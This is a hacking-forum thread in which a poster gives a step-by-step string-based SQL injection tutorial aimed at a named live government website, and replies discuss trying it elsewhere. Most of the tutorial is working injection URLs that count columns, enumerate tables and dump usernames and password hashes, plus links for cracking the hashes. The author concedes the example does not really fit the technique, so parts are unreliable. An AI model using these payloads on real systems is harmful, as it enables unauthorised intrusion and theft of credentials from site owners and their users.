[torque59]

Hello guys I am making this tutorial for all those who want to have at Look at String based SQL Injection ✌

Its better to have a good look at SQL tuts done by our HF members
before reading this.

Links:hackforums.net/showthread.php?tid=1923250
hackforums.net/showthread.php?tid=1814660

[NOTE]The site used here is a gov.Better to HIde you ass before you get BUsted😭[NOTE]

LOL lets Rock 😊

Lets take this Site

Code

http://www.bhutan.gov.bt/government/newsDetail.php?id=208

WE add a quote to see if its inject-able

Code

http://www.bhutan.gov.bt/government/newsDetail.php?id=208'

Voila! We got our error



Now moving on to order based queries

We try order by x--

Code

http://www.bhutan.gov.bt/government/newsDetail.php?id=208 order by 1--

---->Error

Code

http://www.bhutan.gov.bt/government/newsDetail.php?id=208 order by 100--

-->Error

Doomed No? We Have a Solution

This is where the String based injection comes into play


Instead of the typical order by 1-- in error based injections we Use

order by 1--+- or order by 1--+

and change the id parameter to: id=x' order by x--+-

[note]THis is a Very importaant As string based Injections are considered Dont forget this 😠[note]

So moving on>Lets inject with order by

Code

http://www.bhutan.gov.bt/government/newsDetail.php?id=208 order by 1--+-

-->No Error Loads fine

Code

http://www.bhutan.gov.bt/government/newsDetail.php?id=208 order by 2--+-

-->No error Loads fine
And So on till we get an error

Code

http://www.bhutan.gov.bt/government/newsDetail.php?id=208' order by 9--+-

-->Error

So the number of Columns must be 8..

Moving on

[note]The union statements used are the same here and has change only in the injection parameter[note]

eg: id=-x' union select x--+-
using the ' after x preferentially changes depending upon the error

So continuing

Code

http://www.bhutan.gov.bt/government/newsDetail.php?id=-208 union select 1,2,3,4,5,6,7,8--+-

You get the vulnerable column.Its 3

Looking for the version

[note]You could also get the hostname(),user(),database() by using group_concat(required field)[note]

Code

http://www.bhutan.gov.bt/government/newsDetail.php?id=-208 union select 1,2,version(),4,5,6,7,8--+-

Getting the tables out

Code

http://www.bhutan.gov.bt/government/newsDetail.php?id=-208 union select 1,2,group_concat(table_name),4,5,6,7,8 from information_schema.tables where table_schema=database()--+-

There are a hell Lot of Tables take the on of your interest
As a matter of interest we take the table Users out

Code

http://www.bhutan.gov.bt/government/newsDetail.php?id=-208 union select 1,2,group_concat(column_name),4,5,6,7,8 from information_schema.columns where table_name=0x7573657273--+-

You could easily hex your queries by using this website
http://www.swingnote.com/tools/texttohex.php

Now extracting the data out of the columns

Code

http://www.bhutan.gov.bt/government/newsDetail.php?id=-208 union select 1,2,group_concat(0x0a,USERNAME,0x3a,PASSW),4,5,6,7,8 from users--+-

You could convert the hashed password.

Its a SHA-512 hash which i thing is quite difficult to crack .

Hash Identifier:
http://www.mediafire.com/?rfedip2eqe456z6
Sites for hash searches :
http://www.md5decrypter.co.uk/

Those Who liked my Tutorial

Plse do leave a Thanks message and a +ve rep 🤗

Feel free to PM me regaring any clarification

Srry for the wrong website.It is error based but could be used as string also .

--
Shots to Downfall,Dan,Haxor

[Gjaosu]

I think you wrong. This site isn't String based

PHP Code


<?php 
http://www.bhutan.gov.bt/government/newsDetail.php?id=208 order by 1-- 


No Error

PHP Code


<?php 
http://www.bhutan.gov.bt/government/newsDetail.php?id=208 order by 100-- 


Error

Code

Error fetching news!

[Cipri]

Thanks bro, i know a site or two where I'm going to try this :D

[torque59]

I think you wrong. This site isn't String based

PHP Code


<?php 
http://www.bhutan.gov.bt/government/newsDetail.php?id=208 order by 1-- 


No Error

PHP Code


<?php 
http://www.bhutan.gov.bt/government/newsDetail.php?id=208 order by 100-- 


Error

Code

Error fetching news!

YA i knew that just changed it into string based just to make this tut

Srry 😵

[DsntExist]

I'm going to take a look at this dude. I'd really like to learn string based because I encountered a couple times where my normal method fails to succeed.

[Fbrugs]

MD5Decrypter Failed To Find HASH
Help me??

[torque59]

MD5Decrypter Failed To Find HASH
Help me??

Are u talking about this site demonstrated or any other sitee en

If the site demonstrated then it is not md5 it is sha-512

or if other then the md5 might be salted

[Pr3nK]

Those Who liked my Tutorial

Plse do leave a Thanks message and a +ve rep 🤗

It's not allowed asking for +rep on HF 😠

[xx 0x0 xx]

well it's not totally complete tut but i like your hard work brother thx

[torque59]

well it's not totally complete tut but i like your hard work brother thx

Thanks man it takes a while to write these tuts 🤝

[zdog685]

I have a question is this error mean it is vonerable

Not Found

The requested URL /original/' was not found on this server.

[torque59]

I have a question is this error mean it is vonerable

Not Found

The requested URL /original/' was not found on this server.

I thing it is not vulnerable because you just added it before a page and the page name was not found

If you have any doubts give me skype id i will contact you over skype

[ravasclavas1]

this tutorial is ausome tutorial i will try it out on my personal website

[hitler_m]

good one dude....
realy very helpful for begginers....

[torque59]

good one dude....
realy very helpful for begginers....

Thanks bro I and planning to write another one soon

Thanks For the Comments